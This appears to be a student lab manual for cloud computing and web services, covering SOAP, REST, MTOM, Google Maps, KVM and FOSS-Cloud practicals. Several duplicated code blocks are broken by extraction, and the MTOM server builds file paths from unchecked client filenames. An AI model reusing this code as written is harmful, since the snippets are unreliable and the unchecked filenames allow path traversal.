4] Now Give name to the Project Name: , and click on next . you will get the following windowthen . again click on finish:

5] You will get the following screen now carefully see in projects section your recently created project appears double click to expand it:

6] Now Right click on the project and select new and then select Web Service ,As shown Below:

7] after clicking Web Service following window should appear , now give name to web serviceand give package as “server”. As shown in the image:

After clicking finish you should get the following window erase the mentioned code :

8] Now right click any where and click on insert code and select Add Web Service Operation :

9] the following window would appear :

Just give name to the method or operation and click on add button to add parameters to the method as here we are converting dollar to rupees we should need only one parameter .

11] After clicking ok code will autogenerate , make changes In that code as mentioned below:

```
@WebMethod(operationName = "InrtoDollar")
public String InrtoDollar(@WebParam(name = "a") double a) {
    //TODO write your implementation code here:
    return "The Indian rupees "+a+" in Dollars is "+(a/83.17);
}
```

12] now our web service is ready now right click on project and click on deploy :

So this is how we created our web service and deployed it.

Creating a java Client using jsp

14] Now our web service is successfully deployed. Right click on web pages and select new and select jsp as shown below:

15] give name and click on finish as shown below do it 2 times on for input and one foroutput:

16] In input.jsp create a form for taking user input as shown below:

ersunitarai.com/

```
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>
    </head>
    <body>
        <form action="output.jsp">
            <pre>
                Enter the currency in rupees : <input type="text" name="t1">
                <input type="submit">        <input type="reset">
            </pre>
        </form>
    </body>
</html>
```

In this code set action = the jsp file where u want output and give name to textbox input.

17] now we have to create web service client, for same right click on project and select new then select web service client you will get the following screen:

At this step click on browse and select your project and click ok after clicking ok you will get wsdl url as shown below:

At this stage copy the url and paste it in notepad for future.

Give package name as "Client".

Now click on finish.

18] now in project section you can se a new folder is been created named "web servicerefrence".

double click to expand it you should get the following :

Hold the operation or your operation name and drag it into the output.jsp in body tag as shown : You will get the following auto generated code:

```
<body>
        <%-- start web service invocation --%><hr/>
<%
try {
    Client.Currency_Service service = new Client.Currency_Service();
    Client.Currency port = service.getCurrencyPort();
     // TODO initialize WS operation arguments here
    double a = 0.0d;
    // TODO process result here
    java.lang.String result = port.operation(a);
    out.println("Result = "+result);
} catch (Exception ex) {
    // TODO handle custom exceptions here
}
%>
<%-- end web service invocation --%><hr/>

</body>
```

19] now make changes as shown below in the code:

```
        <%-- start web service invocation --%><hr/>
<%
try {
    Client.Currency_Service service = new Client.Currency_Service();
    Client.Currency port = service.getCurrencyPort();
     // TODO initialize WS operation arguments here
    double a = Double.parseDouble(request.getParameter("t1"));
    // TODO process result here
    java.lang.String result = port.operation(a);
    out.println(result);
} catch (Exception ex) {
    // TODO handle custom exceptions here
}
%>
<%-- end web service invocation --%><hr/>
```

20] now Deploy our project again and right click on input.jsp and click run file you will redirect to a browser page as shown :

Enter any numerical value in text box and click on submit you will get the following output:

Python client:

1] for consuming java web services in python we should repeat the above steps till step np.19 .

Note: for getting output the project or web service should be deployed .

After doing all of the steps write the following code in python idle:

Code :

```
from zeep import Client
wsdl_url='http://localhost:8080/pract/Currency?wsdl' client=Client(wsdl_url)
#call the method on the webservice
d=float(input("Enter Currency in Indian Rupees:"))
result = client.service.InrtoDollar(d)
print(result)
```

2] replace wsdl_url with the url which was copied at the time of web service client creation .

In step no.17 . and replace the InrtoDollarwith your method or operation name. and pass parameter to it

3] final code should look like following:

2.py - C:\Users\LENOVO\AppData\Local\Programs\Python\Python311\2.py (3.11.4)

File Edit Format Run Options Window Help

```
from zeep import Client
wsdl_url='http://localhost:8080/pract/Currency?wsdl'
client=Client(wsdl_url)
#call the method on the webservice
d=float(input("Enter Currency in Indian Rupees:"))
result = client.service.InrtoDollar(d)
print(result)
```

4] after running the above code you should get the following output:

```
= RESTART: C:\Users\LENOVO\AppData\Local\Programs\Python\Python311\2.py
Enter Currency in Indian Rupees:12000
The Indian rupees 12000.0 in Dollars is 144.28279427678248
```

www.cscornersunitarai.com/

Practical - 2

Aim: Write a program to implement a simple SOAP WebService

<u>Requirement:</u>

1. Visual Studio Community 2017
2. Version : 15.8 or latest

In this practical we are creating a Web Service in Visual Studio and then we will consume it in NetBeans.

1. Open Visual Studio IDE and click on File.
File -> New -> Project

2. Click on Web.

3. Select ASP.NET Web Application and give Name as Service. After that click on OK button.

4. Select Empty and click on OK button.

5. Now you can see, on right side in Solution Explorer Service project is created.

6. Right click on Service -> Add -> New Item.

7. Search for Web Service.

8. Select Web Service and give Name as Operation. After then click on Add button.

9. After click on Add button, Operaion.asmx.cs file will be automatically open otherwise open it from Solution Explorer and Add the following code into Class Operation.

```
    [WebMethod]
public double Add(double a, double b)
    {
        double sum = a +
        b;          return
        sum;
    }

    [WebMethod]
    public double Multi(double a, double b)
    {
       double m = a * b;
       return m;
}
```

```
Operation.asmx.cs*   Service
Service                                   Service.Operation
9   /// <summary>
10  /// Summary description for Operation
11  /// </summary>
12  [WebService(Namespace = "http://tempuri.org/")]
13  [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
14  [System.ComponentModel.ToolboxItem(false)]
15  // To allow this Web Service to be called from script, using ASP
16  // [System.Web.Script.Services.ScriptService]
17  public class Operation : System.Web.Services.WebService
18  {
19
20      [WebMethod]
21      public double Add(double a, double b)
22      {
23          double sum = a + b;
24          return sum;
25      }
26
27      [WebMethod]
28      public double Multi(double a, double b)
29      {
30          double sum = a * b;
31          return sum;
32      }
33  }
34  }
35
```

After that press Ctrl+S to save the methods. Actually we are creating two methods for Web Service. One is for addition of two numbers and second one is for multiplication of two numbers.

10. Now run the project by click on Green arrow button below the Window menu.

```
Service - Microsoft Visual Studio
Edit  View  Project  Build  Debug  Team  Tools  Test  Analyze  Window  Help
Debug   Any CPU   IIS Express (Google Chrome)
Operation.asmx.cs   Service        IIS Express (Google Chrome)
Service                   Service.Operation                   Add(double a, double b)
9   /// <summary>
10  /// Summary description for Operation
11  /// </summary>
12  [WebService(Namespace = "http://tempuri.org/")]
13  [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
14  [System.ComponentModel.ToolboxItem(false)]
15  // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
```

11. A window will open in browser and that is our web service.

12. You can check services by click on Add or Multi option. But we don't need this.

13. Now click on Service Description option.

14. Now a new window will open. Select the link and copy it. We will use this link in NetBeans to consume these services.

15. Don't close Visual Studio and browser, just minimize it otherwise server will stop. But save the link anywhere, so that we can use it later.

16. Now open NetBeans.

17. Create a Web Application with name ServiceClient. Next -> Finish.

18. Now create a Web Service Client.
Right click on ServiceClient -> New -> Other.

19. Now select Web Services in Categories section.

20. Select Web Service Client in File Types and Click on Next button.

21. Select WSDL URL and paste the link that you have copied from browser on run of Visual Studio enter package name com.dd. After that click on Finish button.

22. As you can see, we got both the service methods i.e. Add & Multi. But in this practical I'm going to use only one service method. You can do for both also.

23. Now create a JSP page. Right click on ServiceClient -> New -> Other

24. Select Web in Categories section -> Select JSP and click on Next button.

25. Enter File Name Add and click on Finish button.

26. In Add.jsp file delete the selected part in body tag, because we don't need this.

27. Right click between body tag and select Call Web Service Operation.

28. Expand and select Add. After select, click on OK button.

29. Now add the following code outside of try block.

```
double num1 = Double.parseDouble(request.getParameter("txt1"));
double num2 = Double.parseDouble(request.getParameter("txt2"));
```

```
<%-- start web service invocation --%><hr/>
<%
    double num1 = Double.parseDouble(request.getParameter("txt1"));
    double num2 = Double.parseDouble(request.getParameter("txt2"));
try {
    com.dd.Operation service = new com.dd.Operation();
    com.dd.OperationSoap port = service.getOperationSoap();
     // TODO initialize WS operation arguments here
    double a = 0.0d;
    double b = 0.0d;
    // TODO process result here
    double result = port.add(a, b);
    out.println("Result = "+result);
} catch (Exception ex) {
    // TODO handle custom exceptions here
}
%>
<%-- end web service invocation --%><hr/>
```

30. Now pass num1 & num2 to a & b variable respectively. After that press Ctrl+S to save this code.

```
<%-- start web service invocation --%><hr/>
<%
    double num1 = Double.parseDouble(request.getParameter("txt1"));
    double num2 = Double.parseDouble(request.getParameter("txt2"));
try {
    com.dd.Operation service = new com.dd.Operation();
    com.dd.OperationSoap port = service.getOperationSoap();
     // TODO initialize WS operation arguments here
    double a = num1;
    double b = num2;
    // TODO process result here
    double result = port.add(a, b);
    out.println("Result = "+result);
} catch (Exception ex) {
    // TODO handle custom exceptions here
}
%>
```

31. Now open index.html file of ServiceClient project and replace the contents of body tag with following code. After that press Ctrl+S to save it.

```
<form>
        <input type="text" name="txt1" placeholder="Enter First
        Number"><br><br>
        <input type="text" name="txt2" placeholder="Enter Second
        Number"><br><br>
```

```
<input type="submit" formaction="Add.jsp" value="Add Numbers">
</form>
```

32. Now run the ServerClient web application.

33. A window will open in browser as below.

34. Now enter two numbers and click on Add Numbers button. Wait to get result……..

You will get result on a new page.

Note : In visual studio 22 if you don't get the answer follow the following steps

The Solution

To resolve this issue, just follow below steps. We can remove SSL from web properties. If you try to set property "SSL Enabled" to false it will throw below error.

You can't remove SSL from this site because this Web project is currently configured to browse with this URL. You need to use the Web property page to change the project URL to the non-secure URL first.

For that first open web property and change "https" to "http"

It will popup a message and ask to create a virtual directory to configure the application. Click "Yes" to allow.

Once setting are saved, you can disable the SSL from project property and you are done.

Practical - 3

Aim: Write a program to implement RESTFull WebService.

1. Click on Window menu and click on Projects, Files & Services to open it.

2. Right click on Java DB and then click on Start Server to start the server .

3. Now expand Java DB and right click on sample and then click on connect to connect the sample database with server.

4. Now we are going to create a table in default database sample.
Right click on Table -> Create Table

5. Give table name as FRIENDS.

6. click on Add column button to add columns in table.

Enter details as in below pic and select Primary key. After that click on OK button.

7. Now add second column with following detail. But don't select primary and click on OK button.

8. click on OK button.

9. Now you can see a table with name FRIENDS in the table.

10. Right click on FRIENDS to view and add records into it.

11. click on the leftmost icon in second panel to insert some record.

12. Insert a record and then click on Add Row button to insert more record. After that click on OK button to finish.

13. As you can see, I have entered 7 records.

14. create a web application with name Server. After that click on Next and then Finish button.

15. Now create a RESTful Web Service from Database by right click on project name.

16. Choose Data Source jdbc/sample.

17. Now select FRIENDS and click on Add button. After that click on Next button.

18. Enter Package name as com.kk and click on Next button and then Finish.

19. Now open selected file by double click on it.

20. Now remove the selected part from every method in this file. So that it will communicate only in JSON format. You can also use methods to convert it. But this is easiest method.

Note : If you get error "javax.ws.rs" doesnot exist, add Java EE 6 API Library in NetBeans IDE by doing myProject->Properties->Libraries->Add Library

```
Start Page | index.html | FriendsFacadeREST.java
Source | History
25    */
26    @Stateless
27    @Path("com.kk.friends")
      public class FriendsFacadeREST extends AbstractFacade<Friends> {
29        @PersistenceContext(unitName = "ServerPU")
30        private EntityManager em;
31
32        public FriendsFacadeREST() {
33            super(Friends.class);
34        }
35
36        @POST
37        @Override
          @Consumes({"application/xml", "application/json"})
          public void create(Friends entity) {
40            super.create(entity);
41        }
42
43        @PUT
44        @Path("{id}")
45        @Consumes({"application/xml", "application/json"})
          public void edit(@PathParam("id") Integer id, Friends entity) {
47            super.edit(entity);
48        }
49
```

21. After that right click on project name and Deploy it.

22. Now create one more Web Application as Client. After that click on Next and then Finish button.

23. Create a Web Application with name ServiceClient.

24. Now create a RESTful Java Client.
Right click on ServiceClient -> New -> Other.

25. Drag down and select Web Services and in side panel select RESTful Java Client.

26. After select RESTful Java Client click on Next.

27. Enter following data. Class Name -> Data Package -> com.ss

28. Now click on Browse button and select the option into the below pic. After select click on OK button.

29. Click on Finish.

30. Now create a JSP page.

Right click on ServiceClient -> New -> Other

31. Select Web in Categories section -> Select JSP and click on Next button.

32. Enter File Name Del_data and click on Finish button.

33. Now create one more JSP file by follow the step number 30, 31 & 32. But File Name will be getData.

34. Now create a Java class.

Right click on ServiceClient -> New -> Other

35. In Categories select Java and in File Types select Java Class. Click Next button.

36. Enter Class Name DeleteData and Package com.ss. After that click on Finish.

37. Your project file structure will look like below.

38. Now open the index.html of ServiceClient project by double click on it and add the following code in between body tag.

```
<form>
  <h2>One-way Operation</h2><br>
  <input type="text" name="ID" placeholder="Enter ID"><br><br>
  <input type="submit" formaction="Del_data.jsp" value="Delete Data"><br>

  <h1>-------------------------------------------</h1>

  <h2>Request-Response operation</h2><br><br>
```

```
    <input type="submit" formaction="getData.jsp" value="Get Data">
</form>
```

39. Now open DeleteData.java file by double click on it and add the following code in the class and save it by pressing Ctrl+S.

```
public static void deldata(String id){
    String a = id;
    Data ob = new Data();
    ob.remove(a);
    System.out.println("Data is deleted.");
  }
```

```
/*
 * To change this license header, choose License
 * To change this template file, choose Tools | T
 * and open the template in the editor.
 */
package com.ss;

/**
 *
 * @author Devendra Singh
 */
public class DeleteData {
    public static void deldata(String id){
        String a = id;
        Data ob = new Data();
        ob.remove(a);
        System.out.println("Data is deleted.");
    }

}
```

40. Now open the Del_data.jsp file and replace the contents of body with the following code.

```
<%@ page import="com.ss.DeleteData"%>
    <%
        String id = request.getParameter("ID");
        DeleteData.deldata(id);
    %>
```

```
<%--
    Document   : Del_data
    Created on : Aug 16, 2018, 8:47:49 PM
    Author     : Devendra Singh
--%>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/
        <title>JSP Page</title>
    </head>
    <body>
        <%@ page import="com.ss.DeleteData"%>
        <%
            String id = request.getParameter("ID");
            DeleteData.deldata(id);
        %>
    </body>
</html>
```

41. Now open the getData.jsp file and replace the contents of html tag with the following code and save it.

```
<head>
    <title>TODO supply a title</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initialscale=1.0">
```

```
    <style>
    table {
                 font-family: arial, sans-serif;
               border-collapse: collapse;
            }
    td, th {
              border: 1px solid #000000;
              text-align: center;
              padding: 8px;
            }
    </style>
    <script>
       var request = new XMLHttpRequest();
       request.open('GET','http://localhost:8080/Server/webresources/com.kk.friends/', true);
request.onload = function () {
                    // begin accessing JSON data here
                    var data = JSON.parse(this.response);
                    for (var i = 0; i < data.length; i++) {
                          var table = document.getElementById("myTable");
                             var row = table.insertRow();              var
                             cell1 = row.insertCell(0);              var
                             cell2 = row.insertCell(1);
                             cell1.innerHTML = data[i].id;

                             cell2.innerHTML = data[i].firstname;
       }
    };

    request.send();
    </script>

  </head>
  <body>
    <table id="myTable">
       <tr>
          <th> ID</th>
          <th>NAME</th>
       </tr>
    </table>

  </body>
```

```
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <title>TODO supply a title</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <style>
            table {
                font-family: arial, sans-serif;
                border-collapse: collapse;
            }

            td, th {
                border: 1px solid #000000;
                text-align: center;
                padding: 8px;
            }
        </style>
        <script>
            var request = new XMLHttpRequest();
            request.open('GET', 'http://localhost:8080/Server/webresources/com.kk.friends/', true);
            request.onload = function () {
        // begin accessing JSON data here
            var data = JSON.parse(this.response);

            for (var i = 0; i < data.length; i++) {
                var table = document.getElementById("myTable");
                var row = table.insertRow();
                var cell1 = row.insertCell(0);
                var cell2 = row.insertCell(1);
```

42. Now Run the ServiceClient project.

43. On run the project following window will open in browser.

If you will click on Delete Data button, record of entered ID will be deleted.

If you will click on Get Data button Request for the data will be send and it will return the data as response. Hence it is two way operation.

44. By click on Get Data button.

ID	NAME
1	ANAND
2	JULHAS
3	NIKHIL
4	RAVI
5	GAGAN
6	DHARMENDRA
7	ADARSH
8	DEVENDRA

45. Entering ID 8 and clicking on Delete Data button.

46. Now go back and again click on Get Data button. Refresh the page, You will see data with id number 8 is deleted.

ID	NAME
1	ANAND
2	JULHAS
3	NIKHIL
4	RAVI
5	GAGAN
6	DHARMENDRA
7	ADARSH

Practical - 4

Aim: Develop application to consume Google's search / Google's Map RESTful Web service.

STEPS:

1. First of all we need to create a Java Web Application with any name, let it be GoogleMap here using Netbeans IDE.
2. The code inside the input.jsp will be similar to this input.jsp Input.jsp

```
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
                <title>JSP Page</title>
</head>
<body>
        <form action="index.jsp">
        <pre>
        Enter latitude:<input type="text" name="t1" />
        Enter longitude:<input type="text" name="t2" />
        <input type="submit" value="Show" />
        </pre>
        </form>
</body>
</html>
```

3. Before running the application we need the Google API key. The steps are shown here:

- Visit Google APIs Console (https://console.developers.google.com, you have to login with your Google account)

Create a new API Project.

- Enter the name to your project.

- Enable the Google Maps API V3.

4. Create another file index.jsp

Index.jsp

```
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<style>
#map {
height: 400px;
width: 100%;
}
</style>
</head>
<body>
<%
```

```
double lati=Double.parseDouble(request.getParameter("t1")); double
longi=Double.parseDouble(request.getParameter("t2"));
%>

<h3> Google Maps </h3>

<div id="map"></div>

<script lang="javascript">
function initMap() {
var info={lat: <%=lati%>, lng: <%=longi%>};

var map = new google.maps.Map(document.getElementById('map'),

{

zoom: 4, center: info

});
var marker = new google.maps.Marker({
position: info,
map: map

});

}

</script>

<script async defer src="put
your key here">
</script>

</body>

</html>
```

Output :-

http://localhost:8080/WebApplication1/index.jsp?t1=19.0269&t2=72.8553

Search...

localhost

Google Maps

Practical 5

Aim: Installation and Configuration of virtualization using KVM.

Theory :

• KVM (for Kernel-based Virtual Machine) is a full virtualization solution for Linux on x86 hardware containing virtualization extensions (Intel VT or AMD-V). It consists of a loadable kernel module, kvm that provides the core virtualization infrastructure and a processor specific module, kvm-intel or kvm-amd.

• Using KVM, one can run multiple virtual machines running unmodified Linux or Windows images. Each virtual machine has private virtualized hardware: a network card, disk, graphics adapter, etc.

• KVM is open source software. The kernel component of KVM is included in mainline Linux, as of 2.6.20. The user space component of KVM is included in mainline QEMU, as of 1.3.

Requirements: Virtual Box, Ubuntu ISO file (latest version)

Steps:

Create Virtual Machine
Unattended Guest OS Install Setup
You can configure the unattended guest OS install by modifying username, password, and hostname. Additionally you can enable guest additions install. For Microsoft Windows guests it is possible to provide a product key.
Username and Password
Username: vboxuser
Password: changeme
Repeat Password: changeme
Additional Options
Product Key: #####-#####-#####-#####
Hostname: CloudComputingWebService
Domain Name: myguest.virtualbox.org
Install in Background
Guest Additions
Guest Additions ISO: C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso
Help
Back
Next
Cancel

Create Virtual Machine
Hardware
You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count. Enabling EFI is also possible.
Base Memory:
4096 MB
4 MB
16384 MB
Processors:
3
1 CPU
8 CPUs
Enable EFI (special OSes only)
Help
Back
Next
Cancel

Create Virtual Machine
Virtual Hard disk
If you wish you can add a virtual hard disk to the new machine. You can either create a new hard disk file or select an existing one. Alternatively you can create a virtual machine without a virtual hard disk.
Create a Virtual Hard Disk Now
Disk Size:
25.00 GB
4.00 MB
2.00 TB
Pre-allocate Full Size
Use an Existing Virtual Hard Disk File
Windows 7.vdi (Normal, 32.00 GB)
Do Not Add a Virtual Hard Disk
Help
Back
Next
Cancel

Cloud Computing & Web Services [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Jan 30 08:51
Install
Take your music with you
Ubuntu comes with the amazing Rhythmbox music player. With advanced playback options, it's simple to queue up the perfect songs. And it works great with CDs and portable music players, so you can enjoy all your music wherever you go.
Included software
Rhythmbox Music Player
Available software
Spotify
VLC
Copying files...
Right Ctrl

Cloud Computing & Web Services [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Jan 30 09:09
Install
Help and support
The official documentation covers many of the most common areas about Ubuntu. It's available both online and via the Help icon in the Dock.
At Ask Ubuntu you can ask questions and search an impressive collection of already answered questions. Support in your own language may be provided by your Local Community Team.
For pointers to other useful resources, please visit Community support or Commercial support.
Downloading packages (1:10 remaining)...
Right Ctrl

Cloud Computing & Web Services [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Activities
Jan 30 09:24
vboxuser
Trash
Right Ctrl

vpm@vpm-VirtualBox: ~
vpm@vpm-VirtualBox:~$ sudo grep -c "svm\|vmx" /proc/cpuinfo
[sudo] password for vpm:
0
Files
ualBox:~$

sudo apt-get install qemu-kvm libvirt-bin bridge-utils virt-manager

OR

sudo apt-get install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils

If the above commands give error then run
sudo apt-get update

Sudo adduser <yourname>

Sudo adduser <yourname> libvirtd

```
vpm@vpm-VirtualBox:~$ sudo adduser shraddha libvirtd
Adding user `shraddha' to group `libvirtd' ...
Adding user shraddha to group libvirtd
Done.
vpm@vpm-VirtualBox:~$
```

Sudo su <username>

virsh -c qemu:///system list

```
shraddha@vpm-VirtualBox:~$ virsh -c qemu:///system list
 Id    Name                           State
----------------------------------------------------

shraddha@vpm-VirtualBox:~$
```

Virt-manager

```
shraddha@vpm-VirtualBox:~$ virt-manager
shraddha@vpm-VirtualBox:~$
```

Click on new virtual machine in qemu and perform the following step

cloud1 [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Virtual Machine Manager
rait@vpm-VirtualBox: ~
rait@vpm-VirtualBox:~$ virt-manager
rait@vpm-VirtualBox:~$
New VM
Create a new virtual machine
Step 1 of 5
Connection: QEMU/KVM
Warning: KVM is not available. This may mean the KVM package is not installed, or the KVM kernel modules are not loaded. Your virtual machines may perform poorly.
Choose how you would like to install the operating system
Local install media (ISO image or CDROM)
Network Install (HTTP, FTP, or NFS)
Network Boot (PXE)
Import existing disk image
Architecture options
Cancel
Back
Forward

Virtual Machine Manager
New VM
Create a new virtual machine
Step 2 of 5
Name
Locate your install media
Use CDROM or DVD
VBox_GAs_5.2.20 (/dev/sr0)
Use ISO image:
Browse...
Automatically detect operating system based on install media
OS type: Unknown
Version: Unknown
Cancel
Back
Forward

Final output

Practical - 6

Aim : Develop application to download image/video from server or upload image/video to server using MTOM techniques

Step 1:

MTOMClient

Index.html

ImageWS.java | upload.jsp | index.html | download.jsp

Source | History

```
<!DOCTYPE html>
<html>
    <head>
        <title>MTOM Client</title>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    </head>
    <body>
        <form>
            <input type="submit" formaction="upload.jsp" value="upload">
            <input type="submit" formaction="download.jsp" value="download">

        </form>
    </body>
</html>
```

upload.jsp

ImageWS.java | upload.jsp | index.html | download.jsp

Source | History

```
<%@page import="java.io.BufferedOutputStream"%>
<%@page import="java.io.FileOutputStream"%>
<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.BufferedInputStream"%>
<%@page import="javax.imageio.stream.FileImageInputStream"%>
<%@page import="java.io.File"%>
<%@page import="javax.xml.ws.soap.MTOMFeature"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>
    </head>
    <body>

<hr/>


<%-- start web service invocation --%><hr/>
<%try {
        pkg.ImageWS_Service service = new pkg.ImageWS_Service();
        pkg.ImageWS port = service.getImageWSPort(new MTOMFeature(60000));
        // TODO initialize WS operation arguments here
        String filePath="c:/msc/ABC.jpg";
        File file=new File(filePath);
        FileInputStream fis=new FileInputStream(file);
        BufferedInputStream bis=new BufferedInputStream(fis);
        java.lang.String filename = file.getName();
        byte[]imageBytes=new byte[(int)file.length()];
        bis.read(imageBytes);
        port.upload(filename, imageBytes);
        bis.close();
        out.println("File uploaded :"+filePath);
} catch (Exception ex) {
// TODO handle custom exceptions here
}
%>
<%-- end web service invocation --%><hr/>


    </body>
</html>
```

```
<%@page import="java.io.BufferedOutputStream">
<%@page import="java.io.FileOutputStream">
<%@page import="java.io.FileInputStream">
<%@page import="java.io.BufferedInputStream">
<%@page import="javax.imageio.stream.FileImageInputStream">
<%@page import="java.io.File">
<%@page import="javax.xml.ws.soap.MTOMFeature">
<%@page contentType="text/html" pageEncoding="UTF-8">
<!DOCTYPE html>
<html>
<head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>JSP Page</title>
</head>
<body>
<%-- start web service invocation --%><hr/>
<%
try {
        pkg.ImageWS_Service service = new pkg.ImageWS_Service();
        pkg.ImageWS port = service.getImageWSPort(new MTOMFeature(60000));
```

```
        // TODO initialize WS operation arguments here
        String filePath="c:/msc/ABC.jpg";
        File file=new File(filePath);
        FileInputStream fis=new FileInputStream(file);
        BufferedInputStream bis=new BufferedInputStream(fis);
        java.lang.String filename = file.getName();
        byte[]imageBytes=new byte[(int)file.length()];
        bis.read(imageBytes);
        port.upload(filename, imageBytes);
        bis.close();
        out.println("File uploaded :"+filePath);
} catch (Exception ex) {
        // TODO handle custom exceptions here
}
> <%-- end web service invocation --><hr/>
```

download.jsp

ImageWS.java × upload.jsp × index.html × download.jsp ×

Source History

```
<%@page import="java.io.BufferedOutputStream"%>
<%@page import="java.io.FileOutputStream"%>
<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.BufferedInputStream"%>
<%@page import="javax.imageio.stream.FileImageInputStream"%>
<%@page import="java.io.File"%>
<%@page import="javax.xml.ws.soap.MTOMFeature"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>
    </head>
    <body>

<hr/>



<%-- start web service invocation --%><hr/>
<%
try {
        pkg.ImageWS_Service service = new pkg.ImageWS_Service();
        pkg.ImageWS port = service.getImageWSPort();
        // TODO initialize WS operation arguments here
        java.lang.String filename = "ABC.jpg";
        String filePath="c:/msc/download/"+filename;
        // TODO process result here
        byte[] fileBytes = port.download(filename);
        FileOutputStream fos=new FileOutputStream(filePath);
        BufferedOutputStream bos=new BufferedOutputStream(fos);
        bos.write(fileBytes);
        bos.close();
        out.println("File downloaded"+filePath);
} catch (Exception ex) {
// TODO handle custom exceptions here
}
%> <%-- end web service invocation --%><hr/>

    </body>
</html>
```

```
<%@page import="java.io.BufferedOutputStream">
<%@page import="java.io.FileOutputStream">
<%@page import="java.io.FileInputStream">
<%@page import="java.io.BufferedInputStream">
<%@page import="javax.imageio.stream.FileImageInputStream">
<%@page import="java.io.File">
<%@page import="javax.xml.ws.soap.MTOMFeature">
<%@page contentType="text/html" pageEncoding="UTF-8">
<!DOCTYPE html>
<html>
```

```
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>JSP Page</title>
</head>
<body>

<%-- start web service invocation --><hr/>
<%
try {
	pkg.ImageWS_Service service = new pkg.ImageWS_Service();
	pkg.ImageWS port = service.getImageWSPort();
	// TODO initialize WS operation arguments here
	java.lang.String filename = "ABC.jpg";
	String filePath="c:/msc/download/"+filename;
	// TODO process result here
	byte[] fileBytes = port.download(filename); FileOutputStream
	fos=new FileOutputStream(filePath); BufferedOutputStream
	bos=new BufferedOutputStream(fos); bos.write(fileBytes);
	bos.close();
	out.println("File downloaded"+filePath);
} catch (Exception ex) {
	// TODO handle custom exceptions here
}
> <%-- end web service invocation --><hr/>
</body>
</html>
```

Step 2 :

MTOMServer

ImageWS.java

```
package mypkg;
import java.io.*;
import javax.jws.Oneway;
import javax.jws.WebService;
import javax.jws.WebMethod;
import javax.jws.WebParam;
import javax.xml.ws.soap.MTOM;

@MTOM(enabled=true,threshold=60000)
@WebService(serviceName = "ImageWS")
public class ImageWS {
	@WebMethod(operationName = "upload")
	@Oneway
	public void upload(@WebParam(name = "Filename") String Filename, @WebParam(name =
```

```
"ImageBytes") byte[] ImageBytes)
{
String filePath="C:/MSC/upload/"+Filename;
try
{
FileOutputStream
fos=new
FileOutputStream(filePat
h);
BufferedOutputStream
}
bos=new
BufferedOutputStream(f
os);
bos.write(ImageBytes);
bos.close();
System.out.println("Recieved file :"+filePath);
catch(Exception ex)
{
System.out.println(ex);
}

}
@WebMethod(operationName = "download")
public byte[] download(@WebParam(name = "Filename") String Filename) {
String filePath="C:/MSC/upload/"+Filename;
System.out.println("Sending file :"+filePath);
try
{
File file=new File(filePath);
FileInputStream fis=new FileInputStream(file);
BufferedInputStream bis=new BufferedInputStream(fis);
byte[] fileBytes=new byte[(int)file.length()];
bis.read(fileBytes);
bis.close();
return fileBytes;
}
catch(Exception ex)
{
System.out.println(ex);
}
return null;
}
}
```

Output:

Practical 7

Aim: Implement FOSS-Cloud Functionality VSI (Virtual Server Infrastructure) Infrastructure as a Service (IaaS), Creating Virtual Machine or Storage

FOSS Cloud Installation:

Steps:

1. Choose your keymap.
2. Confirm that you want to start: yes
3. Choose Demo-System: 1
4. Choose a Block-Device: sda
5. Confirm that you want to continue: yes
6. Confirm that you want to continue: yes
7. Choose the network interface: eth0
8. Choose if you want to use automatic network configuration: Yes 9. Reboot your system: yes
10. Login as root and run "fc-node-configuration -n demo-system --password admin"

Login as admin
Password : admin

Home page of FOSS Cloud at Client

Uploading ISO files to foss cloud

- Go to virtual machine>Profile>Upload ISO file >file name.

Creating a Profile

The profile creates the relationship between the ISO file and the FOSS-Cloud.

1. Open Virtual Machines
2. Choose vm-Profiles
3. Choose the right Base Profile
4. Choose the right architecture (Windows only x86_64)
5. Chose the language (it is a information - not keyboard relevant)
6. Choose the ISO file
7. Fill out name and description
8. Choose the amount of memory and volume capacity
9. Choose amount of CPU
10. Choose clock offset (normally Windows is "localtime" and Linux is "utc")

Creating Template

1. Choose the profile you have prepared before
2. Add the vm-pool and one or more nodes, where you will run this vm (when the chosen vm-pool has only one node assigned, you don't have a choice)
3. You can change all the other informations you have entered before

Click on "create" and the template is ready for installing the guest operating system.

In stall virt Viewer and spice

Go to regedit

Go to Computer > HKEY_CLASSES_ROOT > SPICE SHELL > COMMAND

Go to Default and click Modify

Paste path of virt viewerà virt_viewer_path %1 (Actual path of Virt Viewer)

Run Your VM and View using VM Template

Open Browser in Ubuntu.

Mozilla Firefox
6:21 AM
New Tab
Search with Google or enter address
Search the Web
Try Firefox with the bookmarks, history and passwords from another browser.
No Thanks
Import Now
TOP SITES
youtube
